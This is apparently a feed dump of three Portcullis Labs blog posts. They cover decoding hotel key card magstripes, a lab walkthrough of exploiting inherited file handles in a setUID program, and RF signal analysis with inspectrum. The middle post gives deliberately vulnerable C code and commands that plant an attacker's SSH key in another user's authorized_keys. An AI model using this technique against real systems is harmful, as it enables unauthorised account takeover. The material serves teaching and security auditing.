That’s as far as I got. I’ll be sure to post again if I ever decode any of the data on the card. I was hoping to see my room number and checkout date in cleartext. But equally an opaque encrypted string wouldn’t surprise me either – which could be what I’m seeing on at least some of the cards.

Conclusion

Doing things the cheap and time-consuming way can be fun – and a good opportunity to write code, learn about matplotlib and dust off the logic analyser.

Further reading/viewing

If you want to know more about magstripes (before they become completely obsolete), take a look at:

I was pretty inspired by these projects.In this post I describe how my cheap magstripe reader wouldn’t read all magstripes, only credit/debit cards. This did nothing to help me understand what data was on my hotel key card – which is what I really wanted to know. Rather than take the obvious next step or buying a better reader, I opted to open up the cheap magstripe reader, probed around a bit and found a way to read the raw data off the hotel magstripes. What that data means remains a mystery so there may be a part 2 at some stage.

About my magstripe reader

I bought the following reader for £11.85 in 2017:

Cheap reader from eBay
image-6482

Cheap reader from eBay

It connects via USB and is detected as a keyboard. If you swipe a credit/debit card through the reader, the corresponding data from the magstripe will appear if your text editor as if it had been typed. If you don’t have a text editor open at the time, you’ll get the effect of whatever the keystrokes on the magstripe reader are!

It works fine under both Windows and Linux. But only for credit/debit cards. When I swiped a hotel key card through, I got no data at all.

Why not just get a different reader?

I could have taken a couple of different (and no doubt better) approaches to this project. Finding a better magstripe reader was one option. Googling around to better understand hotel magstripes would have no-doubt been fruitful, but potentially spoils some of problem solving. I can always google later when I’m properly stuck. :-)

I since invested in an MSR605X reader/writer. I haven’t played with it much yet, but it is able to do raw reads. I’ll probably cover this reader in a future post.

Plan for the cheap reader

I figured that the magnetic read head in the cheap reader would almost certainly be able to read the data from from hotel cards or any other card with a magstripe. But the rest of the reader was only able to interpret payment card data. If I could probe the electrical signals in the right place within the reader, I should be able to see the 1′s and 0′s on the magstripe.

Magnetic read head inside card reader
image-6483

Magnetic read head inside card reader

I was a vague plan and certainly not the path of least resistance, but would ultimately work…

Probing around

I had two tools at my disposal to probe with (this was a home-based side project as opposed to an office-based project):

  • A cheap handheld Oscilloscope (Sainsmart DS202)
  • A Saleae logic analyzer

I quickly realized there were 7 points on the read head I could attach probes to.

Connection points on back of read head
image-6484

Connection points on back of read head

I figured if hooked the read head directly up to my scope, I’d be able to see an analogue signal when I swiped a card. Ultimately I hoped to do something with said signal to get the data I wanted.

Connections for scope soldered directly to read head
image-6485

Connections for scope soldered directly to read head

I tried hooking up various pairs from these 7 probe points to my scope, but didn’t find any signal at all. Maybe the signal’s too weak, or maybe (in retrospect) I did a rubbish job of identifying a suitable ground.

By this point I’d started googling the chip numbers. There were 2 x Op Amps and 1 x Analogue Comparator:

2 x Op Amps
image-6486

2 x Op Amps

Analogue Comparator (left); STM32 Microcontroller (right)
image-6487

Analogue Comparator (left); STM32 Microcontroller (right)

These chips were responsible for amplifying the signal from the read head. So if hooked up to the output of each, I might see a signal I could use to determine the data on the magstripes. I use the datasheets to identify the output pins of each IC.

The output from the 2 x Op Amps was about 0.5 – 0.6v peak-to-peak. Easily viewable using my scope, but I’d be unable to feed this into my logic analyser. I’d need about 3v peak-to-peak for that. The signal was also quite scruffy looking. Not the nice square wave I’d hoped for.

The output from the analogue comparator was exactly what I was after. A nice 3 or 4v peak-to-peak square wave that appeared only when I swiped a card. There were 4 outputs from the comparator. One never produced a signal. This seemed reasonable for a read head that could read 3-track magstripes. Time to feed this into the logic analyser and start figuring what constituted a 0 or 1…

1′s and 0′s

Progress had been quite fast up to this point. This was shaping up to be an interesting project.

Here’s the output from the comparator viewed in the Saleae Logic software:

Comparator output viewed via logic analyser
image-6488

Comparator output viewed via logic analyser

Note that we’re only seeing 1 square wave, not 3. This is because this particular card only has data on 1 of the 3 tracks.

So we have a signal to analyse, but we don’t have 1′s and 0′s yet.

Phrack37 from 1992 helps us with that:

ASCII art explanation of how 1' class=
image-6489

ASCII art explanation of how 1′s and 0′s are encoded on a magstripe

Essentially a 0 and 1 are both the same length when encoded. A 1 changed state half way through and a 0 doesn’t. Note that the 0 can be either high or low.

Rather than decode the 1′s and 0′s by eye, I wrote a Python script that parsed the exported data from the logic analyzer and dumped the 1′s and o’s. Here’s the format used by “Logic” (the Saleae software) when exporting to CSV:

Format used in CSV export from Saleae' class=
image-6490

Format used in CSV export from Saleae’s Logic software

The Python code turned out to be a pain to write because the baud rate of the data wasn’t constant. It varies depending on how fast the card is moving past the read head. I took a few wrong turns when coding this up, but eventually found a solution that worked.

Here’s a scatter graph that shows that the duration of square wave pulse doesn’t have exactly 2 values as expected. Instead a wide range of values are seen. It’s still possible to tell 0′s (long pulses, green dots) from 1′s (short pulses, blue/purple dots) – see top graph. The ratio of each successive pulse to the last was a better way to tell o’s from 1′s – see bottom graph:

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected
image-6491

Graph showing how much pulse duration (delta) takes a range of values, not just two as expected

And finally, the bytes / characters

This is where my problems started. My whole life, bits have made bytes. Specifically they’ve made 8-bit bytes. This is not the case on magstripes, it turned out.

As mentioned in the phrack paper, credit cards use 2 tracks, one where characters are composed of 5 bits (4 bits + 1 parity) and another where characters are composed of 7 bits (6 bits + 1 parity).

I spent quite a bit of time coding up a decoder for credit cards. Partly because I needed to be assured that I’d read the 1′s and o’s correctly and partly because I thought I’d need the code to see if the same character types were used in hotel cards.

One of the challenges in coding this up was knowing where the data started and the preamble ended. It seems that “sentinels” are used to mark the start/end of the data. These are special characters (bit patterns) that readers can look for at the start and end of a stripe… then it made sense. This is why the card reader only worked for credit cards! The firmware is looking for the sentinels used by credit cards. It can’t decode the hotel cards because it’s not obvious where the data starts or ends; or what constitutes a character. Also, perhaps lack a valid Longitudinal Redundancy Check (LRC).

Identifying characters on hotel magstripes

I ran my credit-card code over the hotel mag stripes to see if there was odd parity with all the 5 bit chunks or all the 7 bit chunks. No, unfortunately not. Another reason the cheap magstripe reader probably failed.

Then I ran some frequency analysis on the 1′s and 0′s. Maybe a lot of the 5-bit chunks are all the same value? Or the 7-bit chunks? I’d see something similar on the credit card magstripe. There were 20 spaces on the 7-bit magstripe. So, using frequency analysis, I should have been able to guess 7-bit characters were being used.

By splitting some of the hotels magstripe data into 8-bit chunks, we notice that the same string of 1′s and 0′s occurs many more times than you’d expect. So my best guess is that 8-bit characters are used.

Below is some example output from my Python script. Not that it outputs:

  • Raw bits
  • Strings (with hex dumps) that would be right if 5-bit, 6-bit, 7-bit or 8-bit characters were used. Though “correctness” depends on parity, bit order and what character set the bit values map to. Plenty of room for error and improvement here
  • Checks for odd/even parity within characters
  • Frequency analysis looking for common characters – for varying character lengths
[+] Parsing file export.csv
 [-] Flips in channel 0: 3
 [-] Flips in channel 1: 1652
 [-] Flips in channel 2: 3
[+] Analysing swipes
 [-] Channel 0:
 [-] Channel 1:
 [-] Swipe 0: 693 bits
 [-] Swipe 1: 701 bits
 [-] Channel 2:
[+] Creating Plots
 [-] creating plots with dimensions (1637, 1637), (1637, 1637)
 [-] saving plot to file: export.csv-plot-channel-1.png
----------------------- CHANNEL 1 SWIPE 0 -----------------------
[+] Length (bits) = 266 (%5 = 1, %6 = 2, %7 = 0, % 8= 2)
[+] Data: 10100110001001100010011000100110001001100010011000100110001001100010011000100110001001100101011011100110101001001101100110100110001001100111110110111100111101100010000000100110011001101100001010010101001001001110110100000111001101011101100001100101101000101010011001
[+] Strings:
 [-] 5 bit: 5398621<4398621<43:>62<3539<;><=409<615549=1>6>36=1:6
 [-] length: 53
 [-] hex: 
 35 33 39 38 36 32 31 3c 34 33 39 38 36 32 31 3c 5398621<4398621<
 34 33 3a 3e 36 32 3c 33 35 33 39 3c 3b 3e 3c 3d 43:>62<3539<;><=
 34 30 39 3c 36 31 35 35 34 39 3d 31 3e 36 3e 33 409<615549=1>6>3
 36 3d 31 3a 36 6=1:6
[-] 6 bit: E(1C&amp;,9RD(1CFM92;+1S;G;"D,-**DMPLW8M4,
 [-] length: 38
 [-] hex: 
 45 28 31 43 26 2c 39 52 44 28 31 43 46 4d 39 32 E(1C&amp;,9RD(1CFM92
 3b 2b 31 53 3b 47 3b 22 44 2c 2d 2a 2a 44 4d 50 ;+1S;G;"D,-**DMP
 4c 57 38 4d 34 2c LW8M4,
[-] 7 bit: %..#...2$..#&amp;-.....3.'..$....$-0,7.-.
 [-] length: 37
 [-] hex: 
 25 08 11 23 06 0c 19 32 24 08 11 23 26 2d 19 12 %..#...2$..#&amp;-..
 1b 0b 11 33 1b 27 1b 02 24 0c 0d 0a 0a 24 2d 30 ...3.'..$....$-0
 2c 37 18 2d 14 ,7.-.
[-] 8 bit: .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....&amp;}.. &amp;f..$..5.e..@
 [-] length: 34
 [-] hex: 
 a6 26 26 26 26 26 26 26 26 26 26 56 e6 a4 d9 a6 .&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;&amp;V....
 26 7d bc f6 20 26 66 c2 95 24 ed 07 35 d8 65 a2 &amp;}.. &amp;f..$..5.e.
 a6 40 .@
[+] Parity for 5 bit chars: odd: False, even: False)
[+] Parity for 6 bit chars: odd: False, even: False)
[+] Parity for 7 bit chars: odd: False, even: False)
[+] Parity for 8 bit chars: odd: False, even: False)
[+] Frequency analysis for potential char lengths:
 [-] 5 bits:
 10011: 5
 11000: 4
 01100: 4
 00110: 4
 00100: 4
 [-] 6 bits:
 100110: 5
 100010: 5
 011000: 5
 011001: 4
 001001: 4
 [-] 7 bits:
 1000100: 3
 0010011: 3
 1101100: 2
 1100010: 2
 1011010: 2
 [-] 8 bits:
 00100110: 12 < common 8-bit patter implies 8-bit chars?
 10100110: 3
...snip...

The above data is from an actual hotel card (though the hotel as since switched to using RFID locks).

I also started to look at XORing, rotating of characters (rot13 style), bit order and offsetting the whole stream of bits (in case I started at the wrong place when chunk the character up). All to no avail as yet.

That’s as far as I got. I’ll be sure to post again if I ever decode any of the data on the card. I was hoping to see my room number and checkout date in cleartext. But equally an opaque encrypted string wouldn’t surprise me either – which could be what I’m seeing on at least some of the cards.

Conclusion

Doing things the cheap and time-consuming way can be fun – and a good opportunity to write code, learn about matplotlib and dust off the logic analyser.

Further reading/viewing

If you want to know more about magstripes (before they become completely obsolete), take a look at:

I was pretty inspired by these projects.

The post Reading hotel key cards with a credit card magstripe reader appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/reading-hotel-key-cards-with-a-credit-card-magstripe-reader/feed/ 0
Exploiting inherited file handles in setUID programs https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/ https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/#comments Thu, 28 Jun 2018 16:00:40 +0000 https://labs.portcullis.co.uk/?p=6538 In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is […]

The post Exploiting inherited file handles in setUID programs appeared first on Portcullis Labs.

]]>
In this post we look at at one of many security problems that pentesters and security auditors find in setUID programs. It’s fairly common for child processes to inherit any open file handles in the parent process (though there are ways to avoid this). In certain cases this can present a security flaw. This is what we’ll look at in the context of setUID programs on Linux.

I was reminded of this technique as I tackled an old hacker challenge recently. This a fun challenge. And there’s a much easier solution than using the technique I’m going to cover here. Maybe try both the hard way and the easy way.

Example program

Here’s a fairly minimal test case of example code – inspired by the nebula challenge code.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <fcntl.h>
#include <stdio.h>

int main(int argc, char **argv)
{
 char *cmd = argv[1];
 char tmpfilepath[] = "/tmp/tmpfile";  // Modern systems need "sysctl fs.protected_symlinks=0" or "chmod 0777 /tmp" for this to be vulnerable to the symlink attack we'll use later.
 char data[] = "pointless data\n";

int fd = open(tmpfilepath, O_CREAT|O_RDWR, 0600);
 unlink(tmpfilepath);
 write(fd, data, strlen(data));
 setuid(getuid());
 system(cmd);
}

Let’s start by compiling this and setting the setUID bit so we have an example to work with:

root@challenge:/# useradd -m tom # victim/target user
root@challenge:/# useradd -m bob # attacker
root@challenge:/# cd ~bob
root@challenge:/home/bob# cp /share/fd-leak.c .
root@challenge:/home/bob# gcc -o fd-leak fd-leak.c
root@challenge:/home/bob# chown tom:tom fd-leak
root@challenge:/home/bob# chmod 4755 fd-leak
root@challenge:/home/bob# ls -l fd-leak
-rwsr-xr-x 1 root root 8624 Apr 12 11:06 fd-leak
root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)

For exploitation later, we’ll also need the target user (tom in this case) to have a .ssh directory in their home directory:

root@challenge:/# mkdir ~tom/.ssh; chown tom:tom ~tom/.ssh

What this program lacks in realism is hopefully made up for in its simplicity.

Normal operation

As can be seen from the code above, the program should:

  1. Create the file /tmp/tmpfile, then delete it. A file descriptor is retained
  2. Drop privileges. This is poor code for dropping privileges, btw. It suffices for this example, though
  3. Run a command that is supplied as an argument. It should run as the invoking user, not as the target user (tom)

Let’s try it out (note that I modify .bashrc to make it clearer to the reader when a subshell has been spawned):

root@challenge:/home/bob# su - bob
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo 'echo subshell...' > .bashrc
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ./fd-leak bash -p
subshell...
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
root@challenge:/home/bob# useradd -m tom
root@challenge:/home/bob# su - tom
$ mkdir .ssh
$ ls -la
total 28
drwxr-xr-x 3 tom tom 4096 Apr 12 11:42 .
drwxr-xr-x 2 tom tom 4096 Apr 12 11:42 .ssh
...

So, yes fd-leak appears to drop privileges. (Our spawned shell isn’t responsible for the drop in privileges as I’ve hopefully illustrated by passing -p to bash above and by running id directly).

Finally, we expect the child process to inherit a file handle to the now deleted file /tmp/tmpfile:

bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 11:22 0 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 1 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 2 -> /dev/pts/2
lrwx------ 1 bob bob 64 Apr 12 11:22 3 -> '/tmp/tmpfile (deleted)'
lr-x------ 1 bob bob 64 Apr 12 11:22 4 -> /proc/53982/fd

It does. We’re all set.

High level exploit path

Our approach to attacking this vulnerable program will follow these high level steps which are covered in more detail in the sections below:

  1. Create a symlink that the vulnerable code will try to write to. This way we can create a file in a location of our choosing and with a name we choose. We’ll choose ~tom/.ssh/authorized_keys
  2. We’ll run some code in the context of a child process to manipulate the open file handle so we can write the contents of authorized_keys file
  3. Finally, we log with via SSH

Practical exploitation

Step 1: Symlink attack

Simple:

ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile

This step was harder in the nebula challenge, but I didn’t want to cloud the issue.

If we run the code now, we see that the authorized_keys file is created, but we don’t control the contents.

bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys
bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile
ln: failed to create symbolic link '/tmp/tmpfile': File exists
bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:11 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ ls -l ~tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:12 /home/tom/.ssh/authorized_keys

We also don’t control the permissions the file gets created with. (Feel free to try the above on authorized_keys2 after running “umask 0″ to check).

Step 2: Running code in child process

It’s pretty easy to run code because of the nature of the program. Again, this was harder in the nebula challenge. We can see the file handle we want listed in /proc/self/fd. It’s file descriptor 3:

bob@challenge:~$ ln -s ~tom/.ssh/authorized_keys /tmp/tmpfile

bob@challenge:~$ ls -l /tmp/tmpfile
lrwxrwxrwx 1 bob bob 30 Apr 12 12:25 /tmp/tmpfile -> /home/tom/.ssh/authorized_keys
bob@challenge:~$ ./fd-leak bash
subshell...
bob@challenge:~$ ls -l /proc/self/fd
total 0
lrwx------ 1 bob bob 64 Apr 12 12:26 0 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 1 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 2 -> /dev/pts/1
lrwx------ 1 bob bob 64 Apr 12 12:26 3 -> /home/tom/.ssh/authorized_keys
lr-x------ 1 bob bob 64 Apr 12 12:26 4 -> /proc/54947/fd

So we can just “echo key > /proc/self/fd/3″? Not really. That’s just a symlink. A symlink to a file that doesn’t exist to be precise. And it’s pointing to a location that we’d don’t have privileges to create. Let’s confirm that:

bob@challenge:~$ ls -l /home/tom/.ssh/authorized_keys
-rw------- 1 tom bob 15 Apr 12 12:25 /home/tom/.ssh/authorized_keys
bob@challenge:~$ id
uid=1001(bob) gid=1001(bob) groups=1001(bob)
bob@challenge:~$ echo > /home/tom/.ssh/authorized_keys
bash: /home/tom/.ssh/authorized_keys: Permission denied
bob@challenge:~$ echo > /tmp/tmpfile
bash: /tmp/tmpfile: Permission denied
bob@challenge:~$ echo > /proc/self/fd/3
bash: /proc/self/fd/3: Permission denied

We need to write to file descriptor 3… So is there are version of cat that works with file descriptors? Not that I know of. Let’s write some small utilities that will help us get to grips with accessing inherited file handles. We’ll write 3 tools:

  • read – that uses the read function to read a set number of bytes from a particular file descriptor
  • write – that writes a string of our choosing to a particular file descriptor
  • lseek – that lets us position our read/write

Here’s the source and compilation of the (very crude) demo tools:

bob@challenge:~$ cat read.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 char buf[1024];
 memset(buf, 0, 1024);
 int r = read(atoi(argv[1]), buf, 10);
 printf("Read %d bytes\n", r);
 write(1, buf, 10);
}

bob@challenge:~$ gcc -o read read.c
bob@challenge:~$ cat write.c
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 printf("writing %s to fd %s\n", argv[2], argv[1]);
 write(atoi(argv[1]), argv[2], strlen(argv[2]));
}
bob@challenge:~$ gcc -o write write.c
bob@challenge:~$ cat lseek.c
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
 printf("seek to position %s on fd %s\n", argv[2], argv[1]);
 lseek(atoi(argv[1]), atoi(argv[2]), SEEK_SET);
}

bob@challenge:~$ gcc -o lseek lseek.c

Let’s see the tools in action. First we try to read, then write to file descriptor 3, but the read always returns 0 bytes:

bob@challenge:~$ ./read 3
Read 0 bytes
bob@challenge:~$ ./write 3 hello
writing hello to fd 3
bob@challenge:~$ ./read 3
Read 0 bytes

The reason is that we need to seek to a location in the file that isn’t the end of the file. Let’s seek to position 0, the beginning of the file:

bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./read 3
Read 10 bytes
pointless bob@challenge:~$ ./read 3
Read 10 bytes
data
hellobob@challenge:~$ ./read 3
Read 0 bytes

Much better.

Finally we need exploit the program above. We have two choices:

  • Run a shell as before, then use our new tool to write the key to authorized_keys; or
  • Make a new tool using the functions shown above to write to authorized_keys.

Let’s do the former. The latter is an exercise for the reader. Note that we need to seek to position 0 before we write our data. It’s important to overwrite the “pointless” message already there as that corrupts the authorized_keys file:

bob@challenge:~$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/bob/.ssh/id_rsa): bobkey
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in bobkey.
Your public key has been saved in bobkey.pub.
bob@challenge:~$ cat bobkey.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge
bob@challenge:~$ ls -l bobkey.pub
-rw-r--r-- 1 bob bob 387 Apr 12 12:30 bobkey.pub
bob@challenge:~$ ./lseek 3 0
seek to position 0 on fd 3
bob@challenge:~$ ./write 3 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge'
 writing ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2PezJjFSI778OvONA5aqfM2Y2d0eYizOkcqTimy7dXfaEhSKnRSRyfwOfwOOaVpLdZW9NmfaPd5G8RY3n+3QwDIPv4Aw5oV+5Q3C3FRG0oZoe0NqvcDN8NeXZFbzvcWqrnckKDmm4gPMzV1rxMaRfFpwjhedyai9iw5GtFOshGZyCHBroJTH5KQDO9mow8ZxFKzgt5XwrfMzvBd+Mf7kE/QtD40CeoNP+GsvNZESxMC3pWfjZet0p7Jl1PpW9zAdN7zaQPH2l+GHzvgPuZDgn+zLJ4CB69kGkibEeu1c1T80dqDDL1DkN1+Kbmop9/5gzOYsEmvlA4DQC6nO9NCTb bob@challenge to fd 3

Step 3: Logging in via SSH

bob@challenge:~$ ssh -i bobkey tom@localhost
$ id
uid=1002(tom) gid=1002(tom) groups=1002(tom)

We’re done. We exploited the leaked file descriptor to write data of our choosing to tom’s authorized_keys file. We used a slightly unrealistic symlink attack along the way, but that doesn’t invalidate our discussion of how to use and abuse leaked file descriptors.

Conclusion

Hacker challenges are fun. Even when you accidentally find a much harder solution and waste 10 times longer than necessary.

Writing secure setUID programs can be difficult. Particularly if you spawn child processes; particularly if you use open() in directories writable by other users. fs.protected_symlinks provides some mitigation for directories with the sticky bit set.

The post Exploiting inherited file handles in setUID programs appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/exploiting-inherited-file-handles-in-setuid-programs/feed/ 0
Adventures in RF: Using Inspectrum to analyse FSK and ASK/OOK signals https://labs.portcullis.co.uk/blog/adventures-in-rf-using-inspectrum-to-analyse-fsk-and-askook-signals/ https://labs.portcullis.co.uk/blog/adventures-in-rf-using-inspectrum-to-analyse-fsk-and-askook-signals/#comments Fri, 06 Apr 2018 12:42:48 +0000 https://labs.portcullis.co.uk/?p=6292 In this post we’ll take a brief look at inspectrum, a graphical tool for analysing signals captured via software defined radio (SDR) receivers – like the RTL-SDR or HackRF One. We’ll run through two examples of viewing digital signals. The first uses frequency shift keying (FSK). The second uses amplitude shift keying on-off keying (ASK/OOK). These […]

The post Adventures in RF: Using Inspectrum to analyse FSK and ASK/OOK signals appeared first on Portcullis Labs.

]]>
In this post we’ll take a brief look at inspectrum, a graphical tool for analysing signals captured via software defined radio (SDR) receivers – like the RTL-SDR or HackRF One.

We’ll run through two examples of viewing digital signals. The first uses frequency shift keying (FSK). The second uses amplitude shift keying on-off keying (ASK/OOK). These are two very common types of modulation.

I’d previously used baudline for this task, which people might want to check out. But I switched to inspectrum recently. I prefer it because its simplicity and ease of use. Also, inspecrum is actively maintained, whereas baudline doesn’t seem to be.

Installation

If you’re on a recent Debian-based OS, you can probably:

apt-get install inspectrum

Alternatively, installing the github version isn’t a bad option – especially if you find your lacking a couple of features. The instructions are pretty good. If you find that libliquid isn’t available for your OS, you can build it pretty easily.

Example 1: FSK signal

The signal for this demo is one captured from a car keyfob at 2 million samples per second. If you want to play along, plug in your RTL-SDR, HackRF One and capture a signal (e.g. using gqrx or hackrf_transfer).

By default inspectrum assumes 32-bit complex floating point samples, which what gqrx gives us. If you used hackrf_transfer, you’ll have signed 8-bit integers, so use the file extension .cs8 – inspectrum can read that format too.

If you load your sample in inspectrum and set the sample rate, you’ll see something like this:

Signal viewed in Inspectrum
image-6293

Signal viewed in Inspectrum

We see 7 bursts of signal across 3 different frequencies.

Note that setting the sample rate isn’t vital. If you don’t, it just means the scale on the time axis will be wrong – not something you’ll always care about.

Next we’ll use the zoom slider to take a closer look at part of the signal. Hopefully we can see the 1′s and 0′s.

Zoom slider usage
image-6294

Zoom slider usage

Hmm. We’re hoping to see something that looks a bit like a square wave, showing the 1′s and 0′s. Which we clearly can’t see yet. Let’s tweak a few more controls.

Increase the ‘Power min’ slider until the background noise becomes pure black:

Decreasing Power Min slider to remove noise
image-6295

Decreasing Power Min slider to remove noise

Decrease the ‘Power max’ slider until the strongest part of the signal is shown in red.

Increasing Power max slider to turn signal red
image-6296

Increasing Power max slider to turn signal red

This is useful because we’ve ignored the noise and shown the signal of interest in red. But it’s still not the square wave we wanted to see.

The reason for this is that our FFT is showing us really good resolution in the frequncy domain (vertical axis), but really poor (fuzzy) resolution in the time domain (horizontal axis). When working with FFT plots is important to remember that you always sacrifice fidelity in one domain to improve the other. We’ll move the FFT slider to the left. This will squish our plot along the frequency axis, but stretch it along the time axis.

Using FFT slider to improve resolution in time domain
image-6297

Using FFT slider to improve resolution in time domain

That’s better. We can see the square wave we’d expect for an FSK signal now. It’s still a bit fuzzy, but this looks good enough to read 1′s and 0′s off. We can tweak the power settings to make things clearer:

Tweak power settings to improve clarity
image-6298

Tweak power settings to improve clarity

If we tick Enable cursors we can measure the duration of pulses.

Using cursors
image-6299

Using cursors

If we scroll around a bit, some of signal looks weak.

Identifying weak parts of signal
image-6300

Identifying weak parts of signal

Maybe we could still infer the square wave form, but lets see what we can do by tweaking the Power sliders again:

Tweaking power sliders
image-6301

Tweaking power sliders

Better, but still not a good representation. How about decreasing the FFT slider again?  This will give us better accuracy in the time domain. But will squish the 1 and 0 lines closer together.

Decreasing FFT slider
image-6302

Decreasing FFT slider

That’s pretty good. We can still tell the difference between a 1 and 0 and we’ve got a really good representation of where each 1 and 0 starts in the time domain.

Let’s briefly revisit our use of cursors:

Measuring a single pulse
image-6303

Measuring a single pulse

It’s hard to be accurate with just a single pulse (15.15Khz?), but we can easily span more than 1 pulse.

Measuring multiple pulses
image-6304

Measuring multiple pulses

More like 15.58KHz.

If you suspect you’ve got a Manchester Encoded signal (as we seem to have here), you can expand the slider so that each segment covers two pulses.

Cursors used for Manchester Encoding
image-6305

Cursors used for Manchester Encoding

As required for Manchester Encoding, each segment includes either a high-to-low transition or a low-to-high transition, but never high-to-high or low-to-low.

That concludes a walkthrough of using inspectrum to look at FSK modulated signals. We’ve seen how to confirm we have an FSK signal by looking for square wave in the FFT plot – i.e. a signal that hops between two (or more) distinct frequencies. We showed how to tweak the sliders to get a nice clear view of the signal, trading off resolution in the frequency domain for resolution in the time domain. We used cursors to show we can take measurements of the baudrate of the signal.

Example 2: ASK/OOK signal

For this example we use an RF remote for a mains remote.

Having covered how to use inspectrum in the FSK section above, we’ll go into less detail in this section.

Upon loading the capture file we’re presented with what looks like 8 repeating signals. We’ll drill into one of those and try to see the 1′s and 0′s:

8 repeating signals?
image-6306

8 repeating signals?

Adjusting the Power slides as before we can filter out the background noise and more easily see our signal of interest:

Filtering out background noise
image-6307

Filtering out background noise

Using the zoom feature, we can start to see the 1′s and 0′s pretty quickly.

Locating 1' class=
image-6308

Locating 1′s and 0′s with zoom slider

In this case, though, unlike for FSK we’re not expecting to see a square wave, we’re expecting to see a single line with gaps in. Which is what we can already see. Furthermore we can start to figure out the 1′s and the o’s. Note that the signal above is composed of only the 2 patterns:

  • Short line followed be long gap; or
  • Long line followed by short gap

One is our 1 and the other is our 0. At this stage it doesn’t really matter which. Only that we’d be able to describe any signal using 1′s and 0′s the way we define them.

This is easier to see if we use the cursor feature:

Using cursors to highlight 1' class=
image-6309

Using cursors to highlight 1′s and 0′s

If you’ve read the FSK section above, you may have been tempted (as I was) to slide the FFT slider to the left to improve the resolution in the time domain. If you do this, you’re able to see that the long line is composed for 4 short lines – of slightly different lengths!  This makes it really hard to spot the pattern being used for a 1 or 0 (unless you already know it). It doesn’t matter to us how the long or short line are generated. The fact that they aren’t continuous lines doesn’t matter and just causes confusion.  So, in this case we’ve shown that when investigating ASK/OOK signals, it’s best to start with the FFT slider on the right (limited resolution in the time domain) and only move if to the left if we’re unable to spot the pattern used for 1′s and 0′s.

Confusing patterns found by sliding FFT slider too far
image-6310

Confusing patterns found by sliding FFT slider too far

The post Adventures in RF: Using Inspectrum to analyse FSK and ASK/OOK signals appeared first on Portcullis Labs.

]]>
https://labs.portcullis.co.uk/blog/adventures-in-rf-using-inspectrum-to-analyse-fsk-and-askook-signals/feed/ 0
